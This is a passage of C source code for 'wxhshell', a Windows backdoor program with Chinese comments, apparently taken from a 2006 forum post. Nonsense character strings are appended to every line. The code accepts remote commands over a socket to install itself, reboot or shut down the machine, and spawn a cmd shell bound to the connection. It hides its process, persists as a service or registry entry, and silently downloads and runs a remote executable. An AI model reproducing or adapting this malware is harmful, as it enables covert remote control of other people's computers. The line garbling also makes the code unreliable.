  VfZ/SByh7p  
  // 帮助 2\s-4H| q  
  case '?': { yn %w'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); co~TQpy^  
    break; <(^-o4Cl  
  } Nwu#,f=X  
  // 安装 nLQ X? :  
  case 'i': { uO":\<1#  
    if(Install()) L(8Q%oX%o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kxf'_Nzy  
    else VQ}=7oe%q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z2 t0l%  
    break; XeZv%` ?  
    } ?G8 D6  
  // 卸载 kdoE)C   
  case 'r': { wvUph[j}J  
    if(Uninstall()) <-lz_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ZNjA},.  
    else pwu5Fxn)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g5T~%t5lo  
    break; lGcHfW)Y  
    } 67n1s  
  // 显示 wxhshell 所在路径 c)$/Uu  
  case 'p': { C[x!Lf8'  
    char svExeFile[MAX_PATH]; qv,|7yw{  
    strcpy(svExeFile,"\n\r"); OZISh?  
      strcat(svExeFile,ExeFile); tcRK\  
        send(wsh,svExeFile,strlen(svExeFile),0); w5&UG/z%l  
    break; q.g!WLiI  
    } M8g=t[\  
  // 重启 *XNvb ^<  
  case 'b': {  c<4pu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v4qvq GK  
    if(Boot(REBOOT)) z?yADYr9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $'&`k,a3|P  
    else { bBDgyFSI <  
    closesocket(wsh); u' r ;-|7  
    ExitThread(0); d<Z`)hI{K  
    } _ -?)-L&g  
    break; IWMqmCbv  
    } 4}NFa; M1  
  // 关机 O^e !<bBd  
  case 'd': { Q2tGe~H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V;)'FJ)]  
    if(Boot(SHUTDOWN)) =-vk}O0C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "3\)@  
    else { +$v$P!),  
    closesocket(wsh); 9VP|a-  
    ExitThread(0); |Yk23\!  
    } b$B5sKQ  
    break; }}Q|O]e  
    } jh=:QP/  
  // 获取shell }K&K{ 9}  
  case 's': { ;Y)?6^"  
    CmdShell(wsh); $?'z%a{  
    closesocket(wsh); ^ S%4R'  
    ExitThread(0); p?d Ma_ g  
    break; v#nFPB=z  
  } uQ&xoDCB  
  // 退出 o}NKqA3  
  case 'x': { ;vd%=vR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -R:1-0I$  
    CloseIt(wsh);  [bv.`  
    break; xeu] X|,  
    } KK7Y"~ 9&-  
  // 离开 o+q 5:vJt  
  case 'q': { <xc"y|7X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q WP1i7]=/  
    closesocket(wsh); Y$'fds4P  
    WSACleanup(); sG^b_3o)A  
    exit(1); :v&GA s6H  
    break; _ b#9^2o  
        } FiIN \  
  } !H.&"~w@  
  } u}u2{pO!  
3K54:  
  // 提示信息 9{>m04888  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nf$Y-v?i  
} tfdP#1E  
  } gp$+Qd  
.$?s :t  
  return; 43 |zjE  
} Oj<2_u  
g*^"x&  
// shell模块句柄 !8P#t{2_|  
int CmdShell(SOCKET sock) ch< zpo:  
{ B4J^ rzK  
STARTUPINFO si; VS 8|lgQ  
ZeroMemory(&si,sizeof(si)); Y6g[y\*t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Que)kjp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SYl :X   
PROCESS_INFORMATION ProcessInfo; v 7Pv&|  
char cmdline[]="cmd"; ,Cx5( ~kU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -/FCd(  
  return 0; <QszmE  
} D./e|i?  
tuUk48!2I  
// 自身启动模式  5+VdZ'@  
int StartFromService(void) ;r`[6[AG  
{ 9hLPo  
typedef struct ;qzCoe  
{ A03PEaZO  
  DWORD ExitStatus; fC(lY4,H3R  
  DWORD PebBaseAddress; s7&% _!4  
  DWORD AffinityMask; u8o!ncy  
  DWORD BasePriority; *D`,z3/*  
  ULONG UniqueProcessId; ~L4"t_-  
  ULONG InheritedFromUniqueProcessId; qQVqS7 t  
}   PROCESS_BASIC_INFORMATION; CZ1 tqAk-  
u wf3  
PROCNTQSIP NtQueryInformationProcess; Te5_T&1Z  
GO`X KE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #%+IU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g ,Q!F  
{Y\hr+A  
  HANDLE             hProcess; 3+!N[6Od9  
  PROCESS_BASIC_INFORMATION pbi; Ue-HO  
XFd[>U<X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sRY: 7>eg  
  if(NULL == hInst ) return 0; @ZT25CD  
+mAMCM2N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T@k&YJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t6 js@Ih  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >5]Xl*{H)  
vA+RZ  
  if (!NtQueryInformationProcess) return 0; `W|2Xi=^5  
"7gS*v,r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s{A-K5S  
  if(!hProcess) return 0; ^\_`0%`>  
>-oa`im+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [[TB.'k  
xazh8X0P  
  CloseHandle(hProcess); zwAuF%U  
\@I.K+hj$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7b Gzun&  
if(hProcess==NULL) return 0; .R:eN&Y 8y  
l`,`N+FG  
HMODULE hMod; r+ vtKb  
char procName[255]; if_e$,dh~>  
unsigned long cbNeeded; >,1'[) _  
d9sgk3K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WhK?>u  
-?@ $`{-K  
  CloseHandle(hProcess); 3)GXu>) t  
u}#rS%SF*  
if(strstr(procName,"services")) return 1; // 以服务启动 Fbk<qQH  
y(N-1  
  return 0; // 注册表启动 BPi>SI0  
} R2M,VK?Wx  
8f29Hj+  
// 主模块 E1VCm[j2  
int StartWxhshell(LPSTR lpCmdLine) J"[OH,/_  
{ Jbs:}]2  
  SOCKET wsl; =XoNk1  
BOOL val=TRUE; Kji}2j'a  
  int port=0; zJ &qR  
  struct sockaddr_in door; eIg2m <9u  
@W^g(I(w  
  if(wscfg.ws_autoins) Install(); /mr&Y}7T  
?k"KZxpT  
port=atoi(lpCmdLine); Up/1c:<J  
uw]e$,x?  
if(port<=0) port=wscfg.ws_port; PQf FpmG  
/:%^Vh3XF  
  WSADATA data; q^12Rj;H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tkJ/ h<  
:  l]>nF4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?g<*1N?:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '#q"u y  
  door.sin_family = AF_INET; g"zk14'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $SXF>n{}  
  door.sin_port = htons(port); Ke,-8e#Q  
Oq!u `g9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MTqbQ69v  
closesocket(wsl); flb3Iih  
return 1; 2c+q~8Jv  
} .+B!mmp  
Fs&m'g  
  if(listen(wsl,2) == INVALID_SOCKET) { TF3Tha]  
closesocket(wsl); OFUN hbg  
return 1; dQizM^j  
}  H) (K  
  Wxhshell(wsl); bfa5X<8  
  WSACleanup(); d2(eX\56Z  
DJ<e=F!  
return 0; 4.VEE~sH$  
fWLsk  
} %%-kUe  
qo}kwwWN;  
// 以NT服务方式启动 [N$@nA-d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *nC<1.JW  
{ r#{lpF,3Ib  
DWORD   status = 0; V-X n&s  
  DWORD   specificError = 0xfffffff; PUlb(3p `  
B,gQeW&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *X<De  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jCa{WV:K}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }hBv?B2/1  
  serviceStatus.dwWin32ExitCode     = 0; 0+S:2i/G  
  serviceStatus.dwServiceSpecificExitCode = 0; WMI/Y 9N  
  serviceStatus.dwCheckPoint       = 0; [NKWudq  
  serviceStatus.dwWaitHint       = 0; ? X:RrZ:/  
wvq<5gy}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _Juhl^LM;  
  if (hServiceStatusHandle==0) return; 6XX5K@  
[KjQW/sb'  
status = GetLastError(); +_`F@^R_   
  if (status!=NO_ERROR) Th!S?{v   
{ =jG3wf*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |E?%Cj^W  
    serviceStatus.dwCheckPoint       = 0; neZ_TT/3K  
    serviceStatus.dwWaitHint       = 0; )p!dql K  
    serviceStatus.dwWin32ExitCode     = status; esLY1c%"/  
    serviceStatus.dwServiceSpecificExitCode = specificError; m\~[^H~g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #b8/gRfS  
    return; :z"Uw*  
  } E8-p ,e,  
C8n1j2G\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 50'6l X(v,  
  serviceStatus.dwCheckPoint       = 0; x3WY26e  
  serviceStatus.dwWaitHint       = 0; huR<+ =!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B 1p9pr  
} tL IE^  
' u0{h  
// 处理NT服务事件,比如:启动、停止 HX <;=m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +SP5+"y@  
{ mybDK'EW  
switch(fdwControl) $[]=6.s  
{ /\\C&Px  
case SERVICE_CONTROL_STOP: cu""vtK   
  serviceStatus.dwWin32ExitCode = 0; ~S=hxKI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fc\hQXYv  
  serviceStatus.dwCheckPoint   = 0; g.9MPN  
  serviceStatus.dwWaitHint     = 0; wTTQIo 60  
  { J7E/2Sl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s%/0WW0y^  
  } ( /N`Wu  
  return; ?9PNCd3$d  
case SERVICE_CONTROL_PAUSE: _c #P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &E9%8Q)r(  
  break; l_kH^ET  
case SERVICE_CONTROL_CONTINUE: [Zua7&(5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D@W m-  
  break; KztF#[64W^  
case SERVICE_CONTROL_INTERROGATE: lL83LhE}<  
  break; PB9<jj;  
}; @B[=`9KF[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m1`ln5(R  
} pYa<u,>pN  
:Z+(H+lyZ  
// 标准应用程序主函数 5 WAsEP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Dic(G[  
{ E]7G4  
/_56H?w\  
// 获取操作系统版本 +nqOP3  
OsIsNt=GetOsVer(); 2 na8G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H?B.Hp|  
JE?XZp@V  
  // 从命令行安装 h knobk  
  if(strpbrk(lpCmdLine,"iI")) Install(); rFmE6{4:p  
ph|3M<q6  
  // 下载执行文件 ) .]Z}g&  
if(wscfg.ws_downexe) { 4mPg; n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) */S ,CV  
  WinExec(wscfg.ws_filenam,SW_HIDE); \KPz  
}  T  
Sa@Xh,y Z  
if(!OsIsNt) { ZERd#7@m+  
// 如果时win9x,隐藏进程并且设置为注册表启动 %8$wod6  
HideProc(); pFG~XW  
StartWxhshell(lpCmdLine); |Rab'9U^  
} t Y^:C[  
else L Xx 3  
  if(StartFromService()) !}vz_6)  
  // 以服务方式启动 QR,i b  
  StartServiceCtrlDispatcher(DispatchTable); g|T' oK  
else *k=}g][?  
  // 普通方式启动 2xjS;lpw  
  StartWxhshell(lpCmdLine); k,&W5zBKe  
G N{.R7  
return 0; `"D7XC0x  
}
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只看该作者 1 发表于: 2006-10-10
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